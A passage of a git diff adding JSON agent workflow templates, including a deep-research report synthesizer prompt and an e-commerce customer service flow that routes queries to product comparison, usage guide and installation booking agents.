systematic gap in enterprise AI strategy - technology readiness exceeds organizational readiness by 18-24 months, creating implementation timing arbitrage opportunity.\n\n\n### Competitive Positioning Intelligence\n**Public Adoption vs Private Deployment Contradiction**: 45% of surveyed executives publicly cautious about AI while privately accelerating deployment\n**Strategic Interpretation**: Market sentiment manipulation - using public skepticism to suppress vendor pricing while securing internal competitive advantage.\n\n\n### Investment Decision Framework\nBased on enterprise adoption patterns, strategic investors should prioritize:\n1. Change management platforms over pure technology solutions (3x success correlation)\n2. Industry-specific solutions over horizontal platforms (2.4x faster adoption)\n3. Phased implementation partners over full-scale providers (78% vs 34% success rates)\n4. 24-month market timing window before competitive parity emerges\n\n\n**Predictive Thesis**: Companies implementing AI-driven change management now will capture 60% of market consolidation value by 2027.\n```\n\n\n**Key Difference**: Transform \"data aggregation\" into \"strategic intelligence\" - identify patterns, predict trends, provide actionable decision frameworks.\n\n\n\n\n**STRATEGIC REPORT FORMAT** - Adapt based on Lead Agent's instructions:\n\n\n**Format Selection Protocol:**\n- If `ANALYSIS_INSTRUCTIONS` specifies \"McKinsey report\" \u2192 Use McKinsey-Style Report template\n- If `ANALYSIS_INSTRUCTIONS` specifies \"BCG analysis\" \u2192 Use BCG-Style Analysis template \u00a0\n- If `ANALYSIS_INSTRUCTIONS` specifies \"Strategic assessment\" \u2192 Use McKinsey-Style Report template\n- If no specific format specified \u2192 Default to McKinsey-Style Report template\n\n\n**McKinsey-Style Report:**\n```markdown\n# [Research Topic] - Strategic Analysis\n\n\n## Executive Summary\n[Key findings with strategic implications and recommendations]\n\n\n## Market Context & Competitive Landscape\n[Market sizing, growth drivers, competitive dynamics]\n\n\n## Strategic Assessment\n[Core insights addressing Lead Agent's key questions]\n\n\n## Strategic Implications & Opportunities\n[Business impact analysis and value creation opportunities]\n\n\n## Implementation Roadmap\n[Concrete recommendations with timelines and success metrics]\n\n\n## Risk Assessment & Mitigation\n[Strategic risks and mitigation strategies]\n\n\n## Appendix: Source Analysis\n[Source credibility and data validation]\n```\n\n\n**BCG-Style Analysis:**\n```markdown\n# [Research Topic] - Strategy Consulting Analysis\n\n\n## Key Insights & Recommendations\n[Executive summary with 3-5 key insights]\n\n\n## Situation Analysis\n[Current market position and dynamics]\n\n\n## Strategic Options\n[Alternative strategic approaches with pros/cons]\n\n\n## Recommended Strategy\n[Preferred approach with detailed rationale]\n\n\n## Implementation Plan\n[Detailed roadmap with milestones]\n```\n\n\n**CRITICAL**: Focus on strategic intelligence generation, not citation management. System handles source attribution automatically. Your mission is creating analytical depth and strategic insights that enable superior decision-making.\n\n\n**OUTPUT REQUIREMENTS**: \n- **ONLY OUTPUT**: Executive-grade strategic reports following Lead Agent's analysis framework\n- **NEVER OUTPUT**: Processing logs, intermediate data formats, extraction summaries, content lists, or any technical metadata regardless of input format or language\n- **TRANSFORM EVERYTHING**: Convert all raw data into strategic insights and professional analysis\n\n\n\n\n**Data Access Protocol:**\n- Process `ANALYSIS_INSTRUCTIONS` as primary framework (determines report structure, style, and focus)\n- Access `EXTRACTED_CONTENT` as primary intelligence source for analysis\n- Follow Lead Agent's analysis framework precisely, not generic report templates\n\n\n**Output Standards:**\n- Deliver strategic intelligence aligned with Lead Agent's specified framework\n- Ensure every insight addresses Lead Agent's key strategic questions\n- Match target audience requirements (C-Suite/Board/Investment Committee/Strategy Team)\n- Maintain analytical depth over citation frequency\n- Bridge current findings to future strategic implications specified by Lead Agent\n\n\n\nRemember: Your mission is creating strategic reports that match Lead Agent's specific analysis framework and business requirements. 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final report.\nMake sure the model has long context window." + }, + "label": "Note", + "name": "Content Deep Reader Subagent" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 146, + "id": "Note:OldPointsSwim", + "measured": { + "height": 146, + "width": 341 + }, + "position": { + "x": 732.4775760143543, + "y": 451.6558219159976 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 341 + }, + { + "data": { + "form": { + "text": "Composes in-depth research reports in a consulting-firm style based on gathered research materials.\nMake sure the model has long context window." + }, + "label": "Note", + "name": "Research Synthesizer Subagent" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 170, + "id": "Note:ThickSchoolsStop", + "measured": { + "height": 170, + "width": 319 + }, + "position": { + "x": 1141.1845057663165, + "y": 329.7346968869334 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 319 + }, + { + "data": { + "form": { + "description": "This is an agent for a specific task.", + "user_prompt": "This is the order you need to send to the agent." + }, + "label": "Tool", + "name": "flow.tool_1" + }, + "id": "Tool:SlickYearsCough", + "measured": { + "height": 48, + "width": 200 + }, + "position": { + "x": 446.18055927306057, + "y": 476.88601989245177 + }, + "sourcePosition": "right", + "targetPosition": "left", + "type": "toolNode" + } + ] + }, + "history": [], + "messages": [], + "path": [], + "retrieval": [] + }, + "avatar": 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" +} + diff --git a/agent/templates/ecommerce_customer_service_workflow.json b/agent/templates/ecommerce_customer_service_workflow.json new file mode 100644 index 0000000..010e9e1 --- /dev/null +++ b/agent/templates/ecommerce_customer_service_workflow.json @@ -0,0 +1,1054 @@ +{ + "id": 22, + "title": { + "en": "Ecommerce Customer Service Workflow", + "zh": "电子商务客户服务工作流程" + }, + "description": { + "en": "This template helps e-commerce platforms address complex customer needs, such as comparing product features, providing usage support, and coordinating home installation services.", + "zh": "该模板可帮助电子商务平台解决复杂的客户需求，例如比较产品功能、提供使用支持和协调家庭安装服务。" + }, + "canvas_type": "Customer Support", + "dsl": { + "components": { + "Agent:DeepCoatsDress": { + "downstream": [ + "Message:KhakiSymbolsMarry" + ], + "obj": { + "component_name": "Agent", + "params": { + "cite": true, + "delay_after_error": 1, + "description": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": "", + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.7, + "llm_id": "deepseek-v3@Tongyi-Qianwen", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 1, + "max_tokens": 256, + "mcp": [], + "message_history_window_size": 6, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "presencePenaltyEnabled": false, + "presence_penalty": 0.4, + "prompts": [ + { + "content": "User's query is {sys.query}\n\n\n", + "role": "user" + } + ], + "sys_prompt": "# Role\nYou are an Installation Booking Assistant.\n## Goal\nCollect the following three pieces of information from the user \n1. Contact Number \n2. Preferred Installation Time \n3. Installation Address \nOnce all three are collected, confirm the information and inform the user that a technician will contact them later by phone.\n## Instructions\n1. **Check if all three details** (Contact Number, Preferred Installation Time, Installation Address) have been provided.\n2. **If some details are missing**, acknowledge the ones provided and only ask for the missing information.\n3. Do **not repeat** the full request once some details are already known.\n4. Once all three details are collected, summarize and confirm them with the user.", + "temperature": 0.1, + "temperatureEnabled": false, + "tools": [], + "topPEnabled": false, + "top_p": 0.3, + "user_prompt": "", + "visual_files_var": "" + } + }, + "upstream": [ + "Categorize:NewDonkeysShare" + ] + }, + "Agent:PlentyCandiesRefuse": { + "downstream": [ + "Message:KhakiSymbolsMarry" + ], + "obj": { + "component_name": "Agent", + "params": { + "cite": true, + "delay_after_error": 1, + "description": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": "", + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.7, + "llm_id": "deepseek-v3@Tongyi-Qianwen", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 1, + "max_tokens": 256, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "presencePenaltyEnabled": false, + "presence_penalty": 0.4, + "prompts": [ + { + "content": "User's query is {sys.query}\n\n\nSchema is {Retrieval:EightyDaysHappen@formalized_content}", + "role": "user" + } + ], + "sys_prompt": "# Specification Comparison Agent Prompt\n## Role\nYou are a product specification comparison assistant.\n## Goal\nHelp the user compare two or more products based on their features and specifications. Provide clear, accurate, and concise comparisons to assist the user in making an informed decision.\n---\n## Instructions\n- Start by confirming the product models or options the user wants to compare.\n- If the user has not specified the models, politely ask for them.\n- Present the comparison in a structured way (e.g., bullet points or a table format if supported).\n- Highlight key differences such as size, capacity, performance, energy efficiency, and price if available.\n- Maintain a neutral and professional tone without suggesting unnecessary upselling.\n---", + "temperature": 0.1, + "temperatureEnabled": false, + "tools": [], + "topPEnabled": false, + "top_p": 0.3, + "user_prompt": "", + "visual_files_var": "" + } + }, + "upstream": [ + "Retrieval:EightyDaysHappen" + ] + }, + "Agent:ShinyCooksCall": { + "downstream": [ + "Message:KhakiSymbolsMarry" + ], + "obj": { + "component_name": "Agent", + "params": { + "cite": true, + "delay_after_error": 1, + "description": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": "", + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.7, + "llm_id": "deepseek-v3@Tongyi-Qianwen", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 1, + "max_tokens": 256, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "presencePenaltyEnabled": false, + "presence_penalty": 0.4, + "prompts": [ + { + "content": "User\u2018s query is {sys.query}\n\nSchema is {Retrieval:EagerTipsFeel@formalized_content}\n\n", + "role": "user" + } + ], + "sys_prompt": "# Usage Guide Agent Prompt\n## Role\nYou are a product usage guide assistant.\n## Goal\nProvide clear, step-by-step instructions to help the user set up, operate, and maintain their product. Answer questions about functions, settings, and troubleshooting.\n---\n## Instructions\n- If the user asks about setup, provide easy-to-follow installation or configuration steps.\n- If the user asks about a feature, explain its purpose and how to activate it.\n- For troubleshooting, suggest common solutions first, then guide through advanced checks if needed.\n- Keep the response simple, clear, and actionable for a non-technical user.\n---", + "temperature": 0.1, + "temperatureEnabled": false, + "tools": [], + "topPEnabled": false, + "top_p": 0.3, + "user_prompt": "", + "visual_files_var": "" + } + }, + "upstream": [ + "Retrieval:EagerTipsFeel" + ] + }, + "Categorize:NewDonkeysShare": { + "downstream": [ + "Retrieval:EightyDaysHappen", + "Retrieval:EagerTipsFeel", + "Agent:DeepCoatsDress" + ], + "obj": { + "component_name": "Categorize", + "params": { + "category_description": { + "Book Installation": { + "description": "Handles the user\u2019s request to schedule, reschedule, or confirm an appointment for professional installation services at the customer\u2019s location.", + "examples": [ + "\u201cI\u2019d like to schedule installation for my product.\u201d\n\n\u201cCan I reschedule my installation appointment for next week?\u201d\n" + ], + "to": [ + "Agent:DeepCoatsDress" + ] + }, + "Product Feature Comparison": { + "description": "Helps the user compare the features, technical specifications, and characteristics of different products to assist them in making an informed purchase decision.", + "examples": [ + "\u201cCan you compare the features of Model X and Model Y?\u201d\n\n\u201cWhat\u2019s the difference between Option A and Option B?\u201d\n\n\u201cWhich model, X100 or X200, has better performance and more features?\u201d" + ], + "to": [ + "Retrieval:EightyDaysHappen" + ] + }, + "Product Usage Guide": { + "description": "Provides the user with detailed instructions, guides, or troubleshooting tips for using, maintaining, or optimizing the performance of their purchased product.", + "examples": [ + "\u201cHow do I set up this product?\u201d\n\n\u201cHow do I clean and maintain this product?\u201d\n\n\u201cCan you guide me on how to use the advanced features?\u201d" + ], + "to": [ + "Retrieval:EagerTipsFeel" + ] + } + }, + "llm_id": "deepseek-v3@Tongyi-Qianwen", + "message_history_window_size": 1, + "outputs": { + "category_name": { + "type": "string" + } + }, + "query": "sys.query" + } + }, + "upstream": [ + "begin" + ] + }, + "Message:KhakiSymbolsMarry": { + "downstream": [], + "obj": { + "component_name": "Message", + "params": { + "content": [ + "{Agent:PlentyCandiesRefuse@content}{Agent:ShinyCooksCall@content}{Agent:DeepCoatsDress@content}" + ] + } + }, + "upstream": [ + "Agent:PlentyCandiesRefuse", + "Agent:ShinyCooksCall", + "Agent:DeepCoatsDress" + ] + }, + "Retrieval:EagerTipsFeel": { + "downstream": [ + "Agent:ShinyCooksCall" + ], + "obj": { + "component_name": "Retrieval", + "params": { + "cross_languages": [], + "empty_response": "", + "kb_ids": [ + "a5aaec4a819b11f095f1047c16ec874f" + ], + "keywords_similarity_weight": 0.7, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + } + }, + "query": "{sys.query}", + "rerank_id": "", + "similarity_threshold": 0.2, + "top_k": 1024, + "top_n": 8, + "use_kg": false + } + }, + "upstream": [ + "Categorize:NewDonkeysShare" + ] + }, + "Retrieval:EightyDaysHappen": { + "downstream": [ + "Agent:PlentyCandiesRefuse" + ], + "obj": { + "component_name": "Retrieval", + "params": { + "cross_languages": [], + "empty_response": "", + "kb_ids": [ + "65cb5150819b11f08347047c16ec874f" + ], + "keywords_similarity_weight": 0.7, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + } + }, + "query": "{sys.query}", + "rerank_id": "", + "similarity_threshold": 0.2, + "top_k": 1024, + "top_n": 8, + "use_kg": false + } + }, + "upstream": [ + "Categorize:NewDonkeysShare" + ] + }, + "begin": { + "downstream": [ + "Categorize:NewDonkeysShare" + ], + "obj": { + "component_name": "Begin", + "params": { + "enablePrologue": true, + "inputs": {}, + "mode": "conversational", + "prologue": "Hi! I'm your assistant. " + } + }, + "upstream": [] + } + }, + "globals": { + "sys.conversation_turns": 0, + "sys.files": [], + "sys.query": "", + "sys.user_id": "" + }, + "graph": { + "edges": [ + { + "data": { + "isHovered": false + }, + "id": "xy-edge__beginstart-Categorize:NewDonkeysShareend", + "source": "begin", + "sourceHandle": "start", + "target": "Categorize:NewDonkeysShare", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Retrieval:EightyDaysHappenstart-Agent:PlentyCandiesRefuseend", + "source": "Retrieval:EightyDaysHappen", + "sourceHandle": "start", + "target": "Agent:PlentyCandiesRefuse", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Retrieval:EagerTipsFeelstart-Agent:ShinyCooksCallend", + "source": "Retrieval:EagerTipsFeel", + "sourceHandle": "start", + "target": "Agent:ShinyCooksCall", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Categorize:NewDonkeysShare3f76ad5d-1562-4323-bd13-474a80938db0-Retrieval:EightyDaysHappenend", + "markerEnd": "logo", + "source": "Categorize:NewDonkeysShare", + "sourceHandle": "3f76ad5d-1562-4323-bd13-474a80938db0", + "style": { + "stroke": "rgba(91, 93, 106, 1)", + "strokeWidth": 1 + }, + "target": "Retrieval:EightyDaysHappen", + "targetHandle": "end", + "type": "buttonEdge", + "zIndex": 1001 + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Categorize:NewDonkeysShare442ea422-de6a-4c78-afcd-ac4a41daa4ca-Retrieval:EagerTipsFeelend", + "markerEnd": "logo", + "source": "Categorize:NewDonkeysShare", + "sourceHandle": "442ea422-de6a-4c78-afcd-ac4a41daa4ca", + "style": { + "stroke": "rgba(91, 93, 106, 1)", + "strokeWidth": 1 + }, + "target": "Retrieval:EagerTipsFeel", + "targetHandle": "end", + "type": "buttonEdge", + "zIndex": 1001 + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:PlentyCandiesRefusestart-Message:KhakiSymbolsMarryend", + "markerEnd": "logo", + "source": "Agent:PlentyCandiesRefuse", + "sourceHandle": "start", + "style": { + "stroke": "rgba(91, 93, 106, 1)", + "strokeWidth": 1 + }, + "target": "Message:KhakiSymbolsMarry", + "targetHandle": "end", + "type": "buttonEdge", + "zIndex": 1001 + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:ShinyCooksCallstart-Message:KhakiSymbolsMarryend", + "markerEnd": "logo", + "source": "Agent:ShinyCooksCall", + "sourceHandle": "start", + "style": { + "stroke": "rgba(91, 93, 106, 1)", + "strokeWidth": 1 + }, + "target": "Message:KhakiSymbolsMarry", + "targetHandle": "end", + "type": "buttonEdge", + "zIndex": 1001 + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Categorize:NewDonkeysShare81a65fca-a460-4a3b-a4d5-50e76da760bb-Agent:DeepCoatsDressend", + "markerEnd": "logo", + "source": "Categorize:NewDonkeysShare", + "sourceHandle": "81a65fca-a460-4a3b-a4d5-50e76da760bb", + "style": { + "stroke": "rgba(91, 93, 106, 1)", + "strokeWidth": 1 + }, + "target": "Agent:DeepCoatsDress", + "targetHandle": "end", + "type": "buttonEdge", + "zIndex": 1001 + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:DeepCoatsDressstart-Message:KhakiSymbolsMarryend", + "markerEnd": "logo", + "source": "Agent:DeepCoatsDress", + "sourceHandle": "start", + "style": { + "stroke": "rgba(91, 93, 106, 1)", + "strokeWidth": 1 + }, + "target": "Message:KhakiSymbolsMarry", + "targetHandle": "end", + "type": "buttonEdge", + "zIndex": 1001 + } + ], + "nodes": [ + { + "data": { + "form": { + "enablePrologue": true, + "inputs": {}, + "mode": "conversational", + "prologue": "Hi! I'm your assistant. " + }, + "label": "Begin", + "name": "begin" + }, + "dragging": false, + "id": "begin", + "measured": { + "height": 48, + "width": 200 + }, + "position": { + "x": 16.54401073812774, + "y": 204.87390426641298 + }, + "selected": false, + "sourcePosition": "left", + "targetPosition": "right", + "type": "beginNode" + }, + { + "data": { + "form": { + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.7, + "items": [ + { + "description": "Helps the user compare the features, technical specifications, and characteristics of different products to assist them in making an informed purchase decision.", + "examples": [ + { + "value": "\u201cCan you compare the features of Model X and Model Y?\u201d\n\n\u201cWhat\u2019s the difference between Option A and Option B?\u201d\n\n\u201cWhich model, X100 or X200, has better performance and more features?\u201d" + } + ], + "name": "Product Feature Comparison", + "uuid": "3f76ad5d-1562-4323-bd13-474a80938db0" + }, + { + "description": "Provides the user with detailed instructions, guides, or troubleshooting tips for using, maintaining, or optimizing the performance of their purchased product.", + "examples": [ + { + "value": "\u201cHow do I set up this product?\u201d\n\n\u201cHow do I clean and maintain this product?\u201d\n\n\u201cCan you guide me on how to use the advanced features?\u201d" + } + ], + "name": "Product Usage Guide", + "uuid": "442ea422-de6a-4c78-afcd-ac4a41daa4ca" + }, + { + "description": "Handles the user\u2019s request to schedule, reschedule, or confirm an appointment for professional installation services at the customer\u2019s location.", + "examples": [ + { + "value": "\u201cI\u2019d like to schedule installation for my product.\u201d\n\n\u201cCan I reschedule my installation appointment for next week?\u201d\n" + } + ], + "name": "Book Installation", + "uuid": "81a65fca-a460-4a3b-a4d5-50e76da760bb" + } + ], + "llm_id": "deepseek-v3@Tongyi-Qianwen", + "maxTokensEnabled": false, + "max_tokens": 256, + "message_history_window_size": 1, + "outputs": { + "category_name": { + "type": "string" + } + }, + "parameter": "Precise", + "presencePenaltyEnabled": false, + "presence_penalty": 0.4, + "query": "sys.query", + "temperature": 0.1, + "temperatureEnabled": false, + "topPEnabled": false, + "top_p": 0.3 + }, + "label": "Categorize", + "name": "Event Classification" + }, + "dragging": false, + "id": "Categorize:NewDonkeysShare", + "measured": { + "height": 172, + "width": 200 + }, + "position": { + "x": 291.21809479853766, + "y": 142.25418266609364 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "categorizeNode" + }, + { + "data": { + "form": { + "cross_languages": [], + "empty_response": "", + "kb_ids": [ + "65cb5150819b11f08347047c16ec874f" + ], + "keywords_similarity_weight": 0.7, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + } + }, + "query": "{sys.query}", + "rerank_id": "", + "similarity_threshold": 0.2, + "top_k": 1024, + "top_n": 8, + "use_kg": false + }, + "label": "Retrieval", + "name": "Feature Comparison Knowledge Base" + }, + "dragging": false, + "id": "Retrieval:EightyDaysHappen", + "measured": { + "height": 96, + "width": 200 + }, + "position": { + "x": 566.9838181044963, + "y": 60.56474206037082 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "retrievalNode" + }, + { + "data": { + "form": { + "cite": true, + "delay_after_error": 1, + "description": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": "", + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.7, + "llm_id": "deepseek-v3@Tongyi-Qianwen", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 1, + "max_tokens": 256, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "presencePenaltyEnabled": false, + "presence_penalty": 0.4, + "prompts": [ + { + "content": "User's query is {sys.query}\n\n\nSchema is {Retrieval:EightyDaysHappen@formalized_content}", + "role": "user" + } + ], + "sys_prompt": "# Specification Comparison Agent Prompt\n## Role\nYou are a product specification comparison assistant.\n## Goal\nHelp the user compare two or more products based on their features and specifications. Provide clear, accurate, and concise comparisons to assist the user in making an informed decision.\n---\n## Instructions\n- Start by confirming the product models or options the user wants to compare.\n- If the user has not specified the models, politely ask for them.\n- Present the comparison in a structured way (e.g., bullet points or a table format if supported).\n- Highlight key differences such as size, capacity, performance, energy efficiency, and price if available.\n- Maintain a neutral and professional tone without suggesting unnecessary upselling.\n---", + "temperature": 0.1, + "temperatureEnabled": false, + "tools": [], + "topPEnabled": false, + "top_p": 0.3, + "user_prompt": "", + "visual_files_var": "" + }, + "label": "Agent", + "name": "Feature Comparison Agent" + }, + "dragging": false, + "id": "Agent:PlentyCandiesRefuse", + "measured": { + "height": 84, + "width": 200 + }, + "position": { + "x": 857.7148601953267, + "y": 66.63237329303199 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "cross_languages": [], + "empty_response": "", + "kb_ids": [ + "a5aaec4a819b11f095f1047c16ec874f" + ], + "keywords_similarity_weight": 0.7, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + } + }, + "query": "{sys.query}", + "rerank_id": "", + "similarity_threshold": 0.2, + "top_k": 1024, + "top_n": 8, + "use_kg": false + }, + "label": "Retrieval", + "name": "Usage Guide Knowledge Base" + }, + "dragging": false, + "id": "Retrieval:EagerTipsFeel", + "measured": { + "height": 96, + "width": 200 + }, + "position": { + "x": 567.0647658166523, + "y": 213.38735509338153 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "retrievalNode" + }, + { + "data": { + "form": { + "cite": true, + "delay_after_error": 1, + "description": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": "", + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.7, + "llm_id": "deepseek-v3@Tongyi-Qianwen", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 1, + "max_tokens": 256, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "presencePenaltyEnabled": false, + "presence_penalty": 0.4, + "prompts": [ + { + "content": "User\u2018s query is {sys.query}\n\nSchema is {Retrieval:EagerTipsFeel@formalized_content}\n\n", + "role": "user" + } + ], + "sys_prompt": "# Usage Guide Agent Prompt\n## Role\nYou are a product usage guide assistant.\n## Goal\nProvide clear, step-by-step instructions to help the user set up, operate, and maintain their product. Answer questions about functions, settings, and troubleshooting.\n---\n## Instructions\n- If the user asks about setup, provide easy-to-follow installation or configuration steps.\n- If the user asks about a feature, explain its purpose and how to activate it.\n- For troubleshooting, suggest common solutions first, then guide through advanced checks if needed.\n- Keep the response simple, clear, and actionable for a non-technical user.\n---", + "temperature": 0.1, + "temperatureEnabled": false, + "tools": [], + "topPEnabled": false, + "top_p": 0.3, + "user_prompt": "", + "visual_files_var": "" + }, + "label": "Agent", + "name": "Usage Guide Agent" + }, + "dragging": false, + "id": "Agent:ShinyCooksCall", + "measured": { + "height": 84, + "width": 200 + }, + "position": { + "x": 861.0463780800472, + "y": 218.84239036799477 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "cite": true, + "delay_after_error": 1, + "description": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": "", + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.7, + "llm_id": "deepseek-v3@Tongyi-Qianwen", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 1, + "max_tokens": 256, + "mcp": [], + "message_history_window_size": 6, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "presencePenaltyEnabled": false, + "presence_penalty": 0.4, + "prompts": [ + { + "content": "User's query is {sys.query}\n\n\n", + "role": "user" + } + ], + "sys_prompt": "# Role\nYou are an Installation Booking Assistant.\n## Goal\nCollect the following three pieces of information from the user \n1. Contact Number \n2. Preferred Installation Time \n3. Installation Address \nOnce all three are collected, confirm the information and inform the user that a technician will contact them later by phone.\n## Instructions\n1. 